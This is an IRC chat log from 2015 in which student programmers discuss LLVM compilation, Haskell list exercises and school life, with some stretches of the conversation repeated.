[2015-02-06T10:09:37-0500] <+hardmath123> lol people resharing my python rant think i'm an "educator"
[2015-02-06T10:10:16-0500] <+hardmath123> i suppose it's not worth clarifying that when I said "my intro CS class", I meant the one I would hypothetically be a student in...
[2015-02-06T10:25:12-0500] <nezorg> Tokyo's a pretty cool place!
[2015-02-06T10:25:12-0500] <awebot> nezorg: 17 hours ago, ubuntor said good luck at seccon!
[2015-02-06T10:25:18-0500] <nezorg> thanks!
[2015-02-06T10:55:17-0500] <JacobEdelman> hmmm... tamini hasn't been on in a while
[2015-02-06T10:55:27-0500] <JacobEdelman> jwoglom: any idea why?
[2015-02-06T10:55:55-0500] <JacobEdelman> hardmath123: lol :P, you're way to smart to be an educator
[2015-02-06T11:00:01-0500] <Hyper> JacobEdelman: aww, that's not nice
[2015-02-06T11:00:07-0500] <Hyper> I know some really smart educators
[2015-02-06T11:08:54-0500] <+jwoglom> JacobEdelman: I dunno
[2015-02-06T11:27:16-0500] <JacobEdelman> Hyper: who teach hs students CS? I mean, I like my cs teacher, but when it comes to CS hardmath123 definitely knows more than him
[2015-02-06T11:27:44-0500] <Hyper> my hs cs teachers were awesome :(
[2015-02-06T11:28:01-0500] <Hyper> I guess that's not quite generally applicable, though
[2015-02-06T11:28:02-0500] <Hyper> :(
[2015-02-06T11:28:21-0500] <JacobEdelman> thats just cause you went to a specialized tech/math school and all
[2015-02-06T11:28:32-0500] <Hyper> yeah I guess so
[2015-02-06T11:28:48-0500] <Hyper> JacobEdelman: SO HOW MANY EPISODES DO YOU HAVE LEFT OF GC?
[2015-02-06T11:29:34-0500] <JacobEdelman> like 5 or so
[2015-02-06T11:29:41-0500] <JacobEdelman> I'll finish it this weekend probaly
[2015-02-06T11:30:17-0500] <Hyper> oh shit so the nuke stuff just happened
[2015-02-06T11:32:37-0500] <+jwoglom> At TJ all of our post-APCS teachers are very good
[2015-02-06T11:32:46-0500] <+jwoglom> (All 2 of them, lol)
[2015-02-06T12:46:04-0500] <JacobEdelman> jwoglom: my comment towards Hyper applies to you too,  you go to a specialized tech/math school 
[2015-02-06T12:46:19-0500] <+jwoglom> yeah ik
[2015-02-06T13:23:45-0500] <+awe> JacobEdelman: though, in all actuality, computing should be taught at every school in the same way English and Math are.
[2015-02-06T13:24:06-0500] <JacobEdelman> awe: agreed
[2015-02-06T13:24:25-0500] <+awe> SPJ, I want to be the you of the USA.
[2015-02-06T13:24:37-0500] <+awe> JacobEdelman: SPJ is leading a foundation that's doing exactly that to the UK.
[2015-02-06T13:25:01-0500] <+awe> JacobEdelman: computing education is going to be full K-12.
[2015-02-06T13:25:04-0500] <JacobEdelman> Sarah Palin, Junior?
[2015-02-06T13:25:17-0500] <JacobEdelman> (SPJ)
[2015-02-06T13:25:18-0500] <JacobEdelman> :P
[2015-02-06T13:25:20-0500] <+awe> Simon Peyton Jones, one of the most brilliant minds behind Haskell.
[2015-02-06T13:25:29-0500] <JacobEdelman> ah, that makes more sense
[2015-02-06T13:26:16-0500] <+awe> https://en.wikipedia.org/wiki/Simon_Peyton_Jones
[2015-02-06T13:28:38-0500] <+awe> JacobEdelman: basically, that's my role model.
[2015-02-06T13:46:57-0500] <+awe> hi assface
[2015-02-06T14:03:46-0500] <assface> hi
[2015-02-06T14:28:00-0500] <Hyper> Finally reached water temple on my replay of twilight princess! \o/
[2015-02-06T14:28:08-0500] <Hyper> now it's time to not do that because fuck the water temple
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[2015-02-06T19:51:46-0500] <+hardmath123> JacobEdelman: you do realize that 90% of the time I have absolutely no idea what I'm talking about? <http://xkcd.com/903/>
[2015-02-06T19:51:59-0500] <+hardmath123> I'm just a reasonably fast learner.
[2015-02-06T19:56:54-0500] <assface> lol
[2015-02-06T19:57:04-0500] <assface> I never talk with authority about things I don't know about
[2015-02-06T19:58:24-0500] <calc0000> (1:44:59 PM) awe: And unlike that dirty hippy calc0000, I tuck my shirt in.
[2015-02-06T19:58:33-0500] <calc0000> shirt tucking is for plebs
[2015-02-06T19:59:38-0500] <+awe> calc0000: lol, I said that in the other channel
[2015-02-06T19:59:39-0500] <+awe> calc0000: but yah
[2015-02-06T19:59:41-0500] <+awe> ok
[2015-02-06T19:59:42-0500] <calc0000> i know but i lost it
[2015-02-06T19:59:43-0500] <+awe> whatevs you say
[2015-02-06T19:59:45-0500] <calc0000> because netsplit
[2015-02-06T19:59:48-0500] <+awe> lol
[2015-02-06T19:59:58-0500] <+awe> Fyrechat is so unstable.
[2015-02-06T20:00:59-0500] <calc0000> awe am i still in there?
[2015-02-06T20:01:14-0500] <calc0000> nope
[2015-02-06T20:01:26-0500] <calc0000> awe go say something
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[2015-02-06T20:16:12-0500] <+hardmath123> calc0000: you're here.
[2015-02-06T20:16:17-0500] <+awe> He is.
[2015-02-06T20:16:25-0500] <calc0000> hey hardmath123
[2015-02-06T20:22:49-0500] <+LittleBobbyTables> Every 60 seconds, a child in Africa experiences a minute. Together, we can help stop this.
[2015-02-06T20:23:05-0500] <+hardmath123> can we really
[2015-02-06T20:23:16-0500] <+hardmath123> also, it rained all day
[2015-02-06T20:23:18-0500] <+hardmath123> correction
[2015-02-06T20:23:30-0500] <+hardmath123> it rained all day, modulo PE, so I still had to go out and run.
[2015-02-06T20:23:33-0500] <+hardmath123> grrrrrrrrr.
[2015-02-06T20:23:37-0500] <+awe> LittleBobbyTables: how?
[2015-02-06T20:24:37-0500] <+LittleBobbyTables> By causing enough earth quakes to make the earth rotate slower.
[2015-02-06T20:25:09-0500] <assface> hardmath123: I have to swim for 2 hours a day unless there's lightning, which is about once a year
[2015-02-06T20:25:17-0500] <assface> suck it up
[2015-02-06T20:25:33-0500] <+LittleBobbyTables> no thats a girls job
[2015-02-06T20:25:55-0500] <assface> 11/10
[2015-02-06T20:27:30-0500] <+LittleBobbyTables> Comfort zones can only be expanded by experiencing discomfort.
[2015-02-06T20:27:46-0500] <assface> this is not true
[2015-02-06T20:28:10-0500] <assface> you have to expand your comfort zone before you're willing to experience the discomfort
[2015-02-06T20:28:18-0500] <+awe> N.
[2015-02-06T20:28:24-0500] <+awe> I agree with LittleBobbyTables on this.
[2015-02-06T20:28:36-0500] <+LittleBobbyTables> You're still experiencing the discomfort, though.
[2015-02-06T20:28:39-0500] <+awe> Force yourself to be be uncomfortable, and you will expand your comfort zones.
[2015-02-06T20:28:48-0500] <+LittleBobbyTables> You can't just magically become comfortable with things
[2015-02-06T20:29:47-0500] <apothy> hardmath123: darn I wish I could learn quickly
[2015-02-06T20:29:57-0500] <apothy> And think clearly on the spot
[2015-02-06T20:30:21-0500] <assface> I only learn math quickly
[2015-02-06T20:30:25-0500] <apothy> I can't do that at all, making me very clueless whenever a teacher asks me a question during the middle of a lesson.
[2015-02-06T20:31:19-0500] <+LittleBobbyTables> Just say "sorry I was busy thinking about relevant real life things"
[2015-02-06T20:31:22-0500] <+hardmath123> this has stopped being a problem for me after chem this year
[2015-02-06T20:31:30-0500] <+LittleBobbyTables> they'll be like 'awwwwww' then leave you alone
[2015-02-06T20:32:00-0500] <+hardmath123> because our chem teacher has made a hobby out of grilling students
[2015-02-06T20:32:00-0500] <alokpathy> hardmath123: Even in lectures that actually matter :P
[2015-02-06T20:32:14-0500] <alokpathy> hardmath123: Like, lectures at PACT
[2015-02-06T20:32:33-0500] <+hardmath123> well, so i can't actually think clearly on the spot. i just absorb material from blog posts kinda fast. :P
[2015-02-06T20:32:56-0500] <alokpathy> I wish I could xD
[2015-02-06T20:33:02-0500] <alokpathy> Takes me a while, usually.
[2015-02-06T20:33:25-0500] <assface> iunno
[2015-02-06T20:33:53-0500] <assface> usually for me it takes forever for something to sink in, but once I figure it out I have a really clear intuitive understanding
[2015-02-06T20:34:08-0500] <assface> like integrals, for example
[2015-02-06T20:47:04-0500] <calc0000> did somone say integrals
[2015-02-06T20:47:18-0500] <alokpathy> assface: did.
[2015-02-06T20:47:22-0500] <+awe> Did somebody say calc
[2015-02-06T20:47:22-0500] <+awe> ?
[2015-02-06T20:47:33-0500] <+hardmath123> calc said someone, technically
[2015-02-06T20:48:53-0500] <bob_twinkles> the way clang searches for the system linker is pretty dumb
[2015-02-06T20:49:04-0500] <bob_twinkles> it prefers /usr/bin/ld over the contents of $LD
[2015-02-06T20:49:29-0500] <bob_twinkles> which means that unless you have /usr/bin/ld symlinked to /usr/bin/ld.gold you can't build anything with lto =(
[2015-02-06T20:55:20-0500] <+hardmath123> have any of you guys build stuff with llvm before? i can't figure out how to get it to turn IR into assemblable assembly
[2015-02-06T20:55:29-0500] <+hardmath123> also, say assemblable 5 times fast :D
[2015-02-06T20:56:16-0500] <calc0000> hardmath123 are you trying to go from llir to a binary?
[2015-02-06T20:58:34-0500] <+hardmath123> calc0000: yeah.
[2015-02-06T20:59:07-0500] <calc0000> internet says use llc
[2015-02-06T20:59:10-0500] <calc0000> i don't have llc installed
[2015-02-06T20:59:24-0500] <calc0000> so i can't verify
[2015-02-06T20:59:30-0500] <+hardmath123> llc generates *un*assemblable assembly
[2015-02-06T20:59:43-0500] <+hardmath123> it has weird directives like a .min_macosx_version or something.
[2015-02-06T20:59:52-0500] <+hardmath123> if it's assemblable, i don't know what assembler it expects.
[2015-02-06T21:00:01-0500] <+hardmath123> `as` and gcc certainly don't like it.
[2015-02-06T21:00:44-0500] <+awe> It's AT&T syntax by default.
[2015-02-06T21:00:57-0500] <+awe> --x86-asm-syntax=intel might help
[2015-02-06T21:03:53-0500] <bob_twinkles> llvm-as assembles
[2015-02-06T21:04:33-0500] <+hardmath123> llvm-as-3.5: ir.ir.s:1:2: error: expected top-level entity
[2015-02-06T21:04:35-0500] <+hardmath123>         .section        __TEXT,__text,regular,pure_instructions
[2015-02-06T21:04:50-0500] <+hardmath123> ir.ir.s was generated with llc ir.ir
[2015-02-06T21:08:11-0500] <alokpathy> Lol one guy on the pico irc preferred AT&T over Intel
[2015-02-06T21:08:20-0500] <alokpathy> and we were all like "You are one of a kind" xD
[2015-02-06T21:15:01-0500] <bob_twinkles> llvm-as expects llvm ir in human readable form but llc produces assembly code
[2015-02-06T21:15:55-0500] <+hardmath123> oh
[2015-02-06T21:17:30-0500] <+hardmath123> wait, no, llvm-as turns ir into bitcode
[2015-02-06T21:18:03-0500] <+hardmath123> i want to create assembly for some architecture and then assemble
[2015-02-06T21:18:20-0500] <+hardmath123> how does the haskell compiler that uses llvm do it, for example?
[2015-02-06T21:21:46-0500] <+awe> I don't know.
[2015-02-06T21:21:54-0500] <+awe> But LLVM is not the default pipeline for GHC.
[2015-02-06T21:21:58-0500] <+awe> The default is through C--.
[2015-02-06T21:27:30-0500] <+LittleBobbyTables> Is that better or worse than F++
[2015-02-06T21:28:24-0500] <+awe> Well, it was made specifically as an intermediary language and it was designed by the two Simon's.
[2015-02-06T21:28:27-0500] <+awe> So, it's probably pretty good.
[2015-02-06T21:36:14-0500] <bob_twinkles> ./compile_program | llvm-as | opt -instcombine -print-module | llc
[2015-02-06T21:36:22-0500] <bob_twinkles> apparently
[2015-02-06T21:41:05-0500] <+awe> bob_twinkles: grumble = zipWith ($) . repeat
[2015-02-06T21:41:06-0500] <+awe> lol
[2015-02-06T21:44:47-0500] <bob_twinkles> awe yuno map?
[2015-02-06T21:44:53-0500] <+awe> It is map.
[2015-02-06T21:44:55-0500] <+awe> I think it's funny.
[2015-02-06T21:45:11-0500] <bob_twinkles> I think the context is needed for the humor
[2015-02-06T21:46:14-0500] <+awe> Just that point-free can be so gross.
[2015-02-06T21:52:31-0500] <+awe> bob_twinkles: exactMatches c g = length $ filter (uncurry (==)) $ zip c g
[2015-02-06T21:52:40-0500] <+awe> bob_twinkles: does that seem intuitive>
[2015-02-06T21:52:40-0500] <+awe> ?
[2015-02-06T21:53:45-0500] <+hardmath123> bob_twinkles: documentation (where did you find that command?)
[2015-02-06T21:53:50-0500] <+hardmath123> bob_twinkles: documentation (where did you find that command?)?
[2015-02-06T21:54:11-0500] <bob_twinkles> hardmath123: I googled "llvm brainfuck implementation" and copied it out of their compile script
[2015-02-06T21:54:18-0500] <+awe> lol
[2015-02-06T21:54:22-0500] <+hardmath123> xD
[2015-02-06T21:54:41-0500] <+hardmath123> awe: http://tilde.town/~kc/pdgn-graph.svg (and .pdf) update nightly now. i can make a .png if you want to hotlink it on a website.
[2015-02-06T21:55:03-0500] <+awe> I wish it was easier to view.
[2015-02-06T21:55:09-0500] <+awe> Browers don't let you do much with it.
[2015-02-06T21:55:13-0500] <bob_twinkles> awe: I'd probably do something like length $ filter id $ zipWith (==) c g
[2015-02-06T21:55:36-0500] <bob_twinkles> I think you can get rid of the id as well but I don't feel like thinking hard
[2015-02-06T21:55:40-0500] <+awe> Ah, that's fair.
[2015-02-06T21:57:37-0500] <+awe> bob_twinkles: http://www.seas.upenn.edu/~cis194/hw/02-lists.pdf
[2015-02-06T21:57:43-0500] <+awe> bob_twinkles: look at the first part of exercise 2
[2015-02-06T21:57:49-0500] <+awe> bob_twinkles: implementing countColors
[2015-02-06T21:57:59-0500] <+awe> bob_twinkles: is it just me or does this seem very... not Haskell-y?
[2015-02-06T21:59:07-0500] <+LittleBobbyTables> "team go before they all spawn"
[2015-02-06T21:59:10-0500] <+LittleBobbyTables> team runs away from one person
[2015-02-06T21:59:12-0500] <+LittleBobbyTables> i kill person
[2015-02-06T21:59:16-0500] <+LittleBobbyTables> then they come after
[2015-02-06T21:59:20-0500] <+LittleBobbyTables> then they all die because everyone is alive
[2015-02-06T22:00:11-0500] <+hardmath123> "“One-line proof” is a term used by CIS and math professors to signify that a proof is so trivial that it can fit on to one line. In fact, any proof can fit on to one line if enough details are omitted."
[2015-02-06T22:00:12-0500] <bob_twinkles> awe: what's the definition of the Code type
[2015-02-06T22:00:13-0500] <bob_twinkles> ?
[2015-02-06T22:00:15-0500] <+hardmath123> lol
[2015-02-06T22:00:43-0500] <+awe> bob_twinkles: list of Peg where Peg is an enum of colors.
[2015-02-06T22:00:43-0500] <+hardmath123> any proof can fit on one line if you set overflow:scroll on the div.
[2015-02-06T22:01:30-0500] <bob_twinkles> awe: so 'type Code = [Peg]' and 'Peg = Red | Green | Blue | ...'
[2015-02-06T22:01:34-0500] <+awe> Yes.
[2015-02-06T22:02:02-0500] <+awe> It seems to me like this sort of function is very unintuitive.
[2015-02-06T22:02:13-0500] <bob_twinkles> yeah that's not good haskell at all
[2015-02-06T22:02:34-0500] <+awe> I can't think of a way to do it more succinctly than pretty much just doing it naively.
[2015-02-06T22:02:55-0500] <bob_twinkles> since it basically doesn't take advantage of the type system at all
[2015-02-06T22:02:57-0500] <bob_twinkles> use a Map type
[2015-02-06T22:03:11-0500] <+awe> Let me try my idea, and you can tell me if there's something better.
[2015-02-06T22:03:17-0500] <+awe> But I definitely wouldn't approach this problem like this at all.
[2015-02-06T22:08:26-0500] <+awe> countColors c = [f Red c, f Green c, f Blue c, f Yellow c, f Orange c, f Purple c]
[2015-02-06T22:08:26-0500] <+awe>   where f col = exactMatches $ repeat col
[2015-02-06T22:08:27-0500] <+awe> bob_twinkles: ^
[2015-02-06T22:09:03-0500] <+awe> Let's name f.
[2015-02-06T22:09:31-0500] <+awe> Changed it to countColor.
[2015-02-06T22:09:33-0500] <+awe> But same idea.
[2015-02-06T22:12:08-0500] <bob_twinkles> eh, the problem I have with it is that the result is a magic [Int]
[2015-02-06T22:12:19-0500] <bob_twinkles> which doesn't tell you anything meaningful really
[2015-02-06T22:12:40-0500] <+awe> Right.
[2015-02-06T22:12:48-0500] <+awe> I don't like it either.
[2015-02-06T22:12:51-0500] <+awe> But implementation-wise?
[2015-02-06T22:12:56-0500] <+hardmath123> question: can't you use tuples for it?
[2015-02-06T22:13:02-0500] <+awe> This is what they asked.
[2015-02-06T22:13:06-0500] <+awe> Also, 6-tuples are awful.
[2015-02-06T22:13:07-0500] <+awe> lol
[2015-02-06T22:13:10-0500] <+awe> matches a b = sum $ zipWith min (countColors a) (countColors b)
[2015-02-06T22:13:14-0500] <+awe> The implementation for matches is nice though.
[2015-02-06T22:13:15-0500] <bob_twinkles> I'd probably map f over a list of all the things
[2015-02-06T22:13:23-0500] <+awe> bob_twinkles: Ah, yeah.
[2015-02-06T22:13:25-0500] <+awe> Good point.
[2015-02-06T22:15:51-0500] <bob_twinkles> map f . map (\x -> x c) $ [Red, Green, Blue]
[2015-02-06T22:16:06-0500] <bob_twinkles> I think that typechecks but I'm also not thinking too straight
[2015-02-06T22:19:01-0500] <+awe> N.
[2015-02-06T22:19:02-0500] <+awe> It doesn't.
[2015-02-06T22:19:10-0500] <bob_twinkles> heh
[2015-02-06T22:19:12-0500] <bob_twinkles> oops
[2015-02-06T22:19:58-0500] <+awe> map countColor colors :: [Code -> Int]
[2015-02-06T22:20:06-0500] <+awe> I'm trying to figure out how to use this.
[2015-02-06T22:20:07-0500] <+awe> .-.
[2015-02-06T22:21:03-0500] <+awe> countColors c = map ((\x -> x c) . countColor) colors
[2015-02-06T22:21:05-0500] <+awe> There we go.
[2015-02-06T22:21:09-0500] <+awe> That's the baby I wanted.
[2015-02-06T22:22:52-0500] <+awe> countColors c = map (($ c) . countColor) colors
[2015-02-06T22:22:52-0500] <+awe> Better.
[2015-02-06T22:22:55-0500] <+awe> bob_twinkles: ^
[2015-02-06T22:23:00-0500] <+awe> Look at that sexy little thing.
[2015-02-06T22:25:46-0500] <bob_twinkles> nice
[2015-02-06T22:28:42-0500] <+awe> Now that I found that, I don't think it's that not=Haskell-y.
[2015-02-06T22:36:57-0500] <bob_twinkles> hmmm
[2015-02-06T22:38:32-0500] <bob_twinkles> I think the "right" way to do it might be to make Peg an instance of Enum, newtype ColorIndex = ColorIndex Int and then make countColors return a Map ColorIndex Int 
[2015-02-06T22:38:45-0500] <+awe> Hm, yeah, maybe.
[2015-02-06T22:38:46-0500] <calc0000> PEG
[2015-02-06T22:38:49-0500] <calc0000> IT WILL COME BACK TO YOU
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[2015-02-06T22:38:50-0500] <calc0000> PEG
[2015-02-06T22:38:53-0500] <calc0000> IT WILL COME BACK TO YOU
[2015-02-06T22:38:54-0500] <+awe> ahoy jwoglom
[2015-02-06T22:38:55-0500] <+awe> erm
[2015-02-06T22:38:57-0500] <+awe> ahoy JacobEdelman 
[2015-02-06T22:39:00-0500] <+awe> sorry woggles
[2015-02-06T22:39:02-0500] <JacobEdelman> I have rearrived
[2015-02-06T22:39:05-0500] <+jwoglom> hi awe!
[2015-02-06T22:39:07-0500] <+jwoglom> :P
[2015-02-06T22:39:18-0500] <+awe> still hi tho
[2015-02-06T22:40:18-0500] <+hardmath123> hey JacobEdelman 
[2015-02-06T22:40:26-0500] <JacobEdelman> yes?
[2015-02-06T22:40:39-0500] <+hardmath123> nothing, just a generic "hi".
[2015-02-06T22:40:41-0500] <+hardmath123> :P
[2015-02-06T22:47:10-0500] <+hardmath123> http://tilde.town/~kc/pdgn-graph.svg [now only displays users that have talked]
[2015-02-06T22:51:59-0500] <calc0000> i found me!
[2015-02-06T22:52:00-0500] <calc0000> cool!
[2015-02-06T22:52:20-0500] <+awe> hardmath123: much more useful.
[2015-02-06T22:52:36-0500] <+awe> hardmath123: why does everything get preceded by nick_?
[2015-02-06T22:54:26-0500] <+awe> bob_twinkles: oh, man. I'm really struggling with this one.
[2015-02-06T22:54:34-0500] <+awe> bob_twinkles: make a list of all possible codes of length n.
[2015-02-06T22:54:42-0500] <bob_twinkles> uh
[2015-02-06T22:54:44-0500] <+awe> It shouldn't be that hard.
[2015-02-06T22:54:47-0500] <bob_twinkles> IIRC there's a builtin function for that
[2015-02-06T22:55:00-0500] <+awe> Are you thinking of permutations?
[2015-02-06T22:55:04-0500] <bob_twinkles> yeah
[2015-02-06T22:55:18-0500] <bob_twinkles> oh, that's not quite right though is it
[2015-02-06T22:55:20-0500] <+awe> Yeah.
[2015-02-06T22:56:54-0500] <+awe> The general idea would be to perform the following action n times: take a list of codes and append to it every single code already in it but with each possible color added.
[2015-02-06T22:57:03-0500] <+awe> bob_twinkles: I'm just getting stuck on doing that programmatically.
[2015-02-06T22:57:33-0500] <+hardmath123> awe: i have no idea
[2015-02-06T22:57:45-0500] <+awe> hardmath123: pls get rid of it
[2015-02-06T22:58:08-0500] <+hardmath123> awe: fixed.
[2015-02-06T22:59:09-0500] <bob_twinkles> hmm, google says there's an easy way to do it if you take advantage of the fact that [] is a monad
[2015-02-06T22:59:20-0500] <bob_twinkles> my brain will not form the words to explain how/why it works though
[2015-02-06T22:59:38-0500] <+awe> Well, I know that monads can be used to represent possibility abstractly.
[2015-02-06T23:01:14-0500] <+awe> I'm sure I'm thinking too hard about this.
[2015-02-06T23:01:16-0500] <bob_twinkles> I think the idea is that the definition of bind (>>=) in the list monad is the cartesian product
[2015-02-06T23:01:29-0500] <bob_twinkles> #bigwords
[2015-02-06T23:03:20-0500] <+awe> This is pain.
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[2015-02-06T23:20:07-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-06T22:22:52-0500] <+awe> Better.
[2015-02-06T22:22:55-0500] <+awe> bob_twinkles: ^
[2015-02-06T22:23:00-0500] <+awe> Look at that sexy little thing.
[2015-02-06T22:25:46-0500] <bob_twinkles> nice
[2015-02-06T22:28:42-0500] <+awe> Now that I found that, I don't think it's that not=Haskell-y.
[2015-02-06T22:36:57-0500] <bob_twinkles> hmmm
[2015-02-06T22:38:32-0500] <bob_twinkles> I think the "right" way to do it might be to make Peg an instance of Enum, newtype ColorIndex = ColorIndex Int and then make countColors return a Map ColorIndex Int 
[2015-02-06T22:38:44-0500] <+awe> Hm, yeah, maybe.
[2015-02-06T22:38:46-0500] <calc0000> PEG
[2015-02-06T22:38:49-0500] <calc0000> IT WILL COME BACK TO YOU
[2015-02-06T22:38:50-0500] <calc0000> PEG
[2015-02-06T22:38:53-0500] <calc0000> IT WILL COME BACK TO YOU
[2015-02-06T22:38:54-0500] <+awe> ahoy jwoglom
[2015-02-06T22:38:55-0500] <+awe> erm
[2015-02-06T22:38:57-0500] <+awe> ahoy JacobEdelman 
[2015-02-06T22:39:00-0500] <+awe> sorry woggles
[2015-02-06T22:39:02-0500] <JacobEdelman> I have rearrived
[2015-02-06T22:39:05-0500] <+jwoglom> hi awe!
[2015-02-06T22:39:07-0500] <+jwoglom> :P
[2015-02-06T22:39:18-0500] <+awe> still hi tho
[2015-02-06T22:40:17-0500] <+hardmath123> hey JacobEdelman 
[2015-02-06T22:40:26-0500] <JacobEdelman> yes?
[2015-02-06T22:40:39-0500] <+hardmath123> nothing, just a generic "hi".
[2015-02-06T22:40:41-0500] <+hardmath123> :P
[2015-02-06T22:47:10-0500] <+hardmath123> http://tilde.town/~kc/pdgn-graph.svg [now only displays users that have talked]
[2015-02-06T22:51:59-0500] <calc0000> i found me!
[2015-02-06T22:52:00-0500] <calc0000> cool!
[2015-02-06T22:52:20-0500] <+awe> hardmath123: much more useful.
[2015-02-06T22:52:35-0500] <+awe> hardmath123: why does everything get preceded by nick_?
[2015-02-06T22:54:26-0500] <+awe> bob_twinkles: oh, man. I'm really struggling with this one.
[2015-02-06T22:54:34-0500] <+awe> bob_twinkles: make a list of all possible codes of length n.
[2015-02-06T22:54:42-0500] <bob_twinkles> uh
[2015-02-06T22:54:44-0500] <+awe> It shouldn't be that hard.
[2015-02-06T22:54:47-0500] <bob_twinkles> IIRC there's a builtin function for that
[2015-02-06T22:55:00-0500] <+awe> Are you thinking of permutations?
[2015-02-06T22:55:04-0500] <bob_twinkles> yeah
[2015-02-06T22:55:17-0500] <bob_twinkles> oh, that's not quite right though is it
[2015-02-06T22:55:20-0500] <+awe> Yeah.
[2015-02-06T22:56:54-0500] <+awe> The general idea would be to perform the following action n times: take a list of codes and append to it every single code already in it but with each possible color added.
[2015-02-06T22:57:03-0500] <+awe> bob_twinkles: I'm just getting stuck on doing that programmatically.
[2015-02-06T22:57:33-0500] <+hardmath123> awe: i have no idea
[2015-02-06T22:57:45-0500] <+awe> hardmath123: pls get rid of it
[2015-02-06T22:58:08-0500] <+hardmath123> awe: fixed.
[2015-02-06T22:59:09-0500] <bob_twinkles> hmm, google says there's an easy way to do it if you take advantage of the fact that [] is a monad
[2015-02-06T22:59:20-0500] <bob_twinkles> my brain will not form the words to explain how/why it works though
[2015-02-06T22:59:38-0500] <+awe> Well, I know that monads can be used to represent possibility abstractly.
[2015-02-06T23:01:14-0500] <+awe> I'm sure I'm thinking too hard about this.
[2015-02-06T23:01:16-0500] <bob_twinkles> I think the idea is that the definition of bind (>>=) in the list monad is the cartesian product
[2015-02-06T23:01:28-0500] <bob_twinkles> #bigwords
[2015-02-06T23:03:20-0500] <+awe> This is pain.
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[2015-02-06T23:45:22-0500] <+awe> bob_twinkles: I'm still struggling with this.
[2015-02-06T23:45:29-0500] <+awe> I did take a break though.
[2015-02-07T00:06:03-0500] <+LittleBobbyTables> facebooks onion address is so easy to remember.
[2015-02-07T00:07:32-0500] <+awe> Facebook has an onion address?
[2015-02-07T00:11:11-0500] <assface> ^
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[2015-02-07T00:23:29-0500] <calc0000> awe http://www.myfoxny.com/story/28039861/manhattan-real-estate
[2015-02-07T00:23:35-0500] <calc0000> "The average Manhattan home price is now over $1.7 million."
[2015-02-07T00:23:40-0500] <calc0000> 2expensive7me
[2015-02-07T00:24:13-0500] <calc0000> awe http://www.telegraph.co.uk/news/worldnews/middleeast/qatar/11397078/300m-Gauguin-becomes-most-expensive-work-of-art-of-all-time.html
[2015-02-07T00:24:16-0500] <calc0000> 2expensive7me
[2015-02-07T00:24:32-0500] <calc0000> awe http://www.wsj.com/articles/chinese-insurer-to-buy-new-yorks-baccarat-hotel-at-record-valuation-1423237592
[2015-02-07T00:24:35-0500] <calc0000> 2expensive7me
[2015-02-07T00:24:46-0500] <calc0000> oh shoot this is the other channel
[2015-02-07T00:24:55-0500] <calc0000> eh close enough
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[2015-02-06T22:38:57-0500] <+awe> ahoy JacobEdelman 
[2015-02-06T22:39:00-0500] <+awe> sorry woggles
[2015-02-06T22:39:02-0500] <JacobEdelman> I have rearrived
[2015-02-06T22:39:05-0500] <+jwoglom> hi awe!
[2015-02-06T22:39:07-0500] <+jwoglom> :P
[2015-02-06T22:39:18-0500] <+awe> still hi tho
[2015-02-06T22:40:17-0500] <+hardmath123> hey JacobEdelman 
[2015-02-06T22:40:26-0500] <JacobEdelman> yes?
[2015-02-06T22:40:39-0500] <+hardmath123> nothing, just a generic "hi".
[2015-02-06T22:40:41-0500] <+hardmath123> :P
[2015-02-06T22:47:10-0500] <+hardmath123> http://tilde.town/~kc/pdgn-graph.svg [now only displays users that have talked]
[2015-02-06T22:51:59-0500] <calc0000> i found me!
[2015-02-06T22:52:00-0500] <calc0000> cool!
[2015-02-06T22:52:20-0500] <+awe> hardmath123: much more useful.
[2015-02-06T22:52:35-0500] <+awe> hardmath123: why does everything get preceded by nick_?
[2015-02-06T22:54:26-0500] <+awe> bob_twinkles: oh, man. I'm really struggling with this one.
[2015-02-06T22:54:34-0500] <+awe> bob_twinkles: make a list of all possible codes of length n.
[2015-02-06T22:54:42-0500] <bob_twinkles> uh
[2015-02-06T22:54:44-0500] <+awe> It shouldn't be that hard.
[2015-02-06T22:54:47-0500] <bob_twinkles> IIRC there's a builtin function for that
[2015-02-06T22:55:00-0500] <+awe> Are you thinking of permutations?
[2015-02-06T22:55:04-0500] <bob_twinkles> yeah
[2015-02-06T22:55:17-0500] <bob_twinkles> oh, that's not quite right though is it
[2015-02-06T22:55:20-0500] <+awe> Yeah.
[2015-02-06T22:56:54-0500] <+awe> The general idea would be to perform the following action n times: take a list of codes and append to it every single code already in it but with each possible color added.
[2015-02-06T22:57:03-0500] <+awe> bob_twinkles: I'm just getting stuck on doing that programmatically.
[2015-02-06T22:57:33-0500] <+hardmath123> awe: i have no idea
[2015-02-06T22:57:45-0500] <+awe> hardmath123: pls get rid of it
[2015-02-06T22:58:08-0500] <+hardmath123> awe: fixed.
[2015-02-06T22:59:09-0500] <bob_twinkles> hmm, google says there's an easy way to do it if you take advantage of the fact that [] is a monad
[2015-02-06T22:59:20-0500] <bob_twinkles> my brain will not form the words to explain how/why it works though
[2015-02-06T22:59:38-0500] <+awe> Well, I know that monads can be used to represent possibility abstractly.
[2015-02-06T23:01:14-0500] <+awe> I'm sure I'm thinking too hard about this.
[2015-02-06T23:01:16-0500] <bob_twinkles> I think the idea is that the definition of bind (>>=) in the list monad is the cartesian product
[2015-02-06T23:01:28-0500] <bob_twinkles> #bigwords
[2015-02-06T23:03:20-0500] <+awe> This is pain.
[2015-02-06T23:45:22-0500] <+awe> bob_twinkles: I'm still struggling with this.
[2015-02-06T23:45:29-0500] <+awe> I did take a break though.
[2015-02-07T00:06:03-0500] <+LittleBobbyTables> facebooks onion address is so easy to remember.
[2015-02-07T00:07:32-0500] <+awe> Facebook has an onion address?
[2015-02-07T00:11:12-0500] <assface> ^
[2015-02-07T00:23:29-0500] <calc0000> awe http://www.myfoxny.com/story/28039861/manhattan-real-estate
[2015-02-07T00:23:35-0500] <calc0000> "The average Manhattan home price is now over $1.7 million."
[2015-02-07T00:23:40-0500] <calc0000> 2expensive7me
[2015-02-07T00:24:14-0500] <calc0000> awe http://www.telegraph.co.uk/news/worldnews/middleeast/qatar/11397078/300m-Gauguin-becomes-most-expensive-work-of-art-of-all-time.html
[2015-02-07T00:24:16-0500] <calc0000> 2expensive7me
[2015-02-07T00:24:33-0500] <calc0000> awe http://www.wsj.com/articles/chinese-insurer-to-buy-new-yorks-baccarat-hotel-at-record-valuation-1423237592
[2015-02-07T00:24:35-0500] <calc0000> 2expensive7me
[2015-02-07T00:24:46-0500] <calc0000> oh shoot this is the other channel
[2015-02-07T00:24:55-0500] <calc0000> eh close enough
[2015-02-07T00:44:13-0500] Mode is +nt
[2015-02-07T00:52:05-0500] <calc0000> lol spammer on #rust
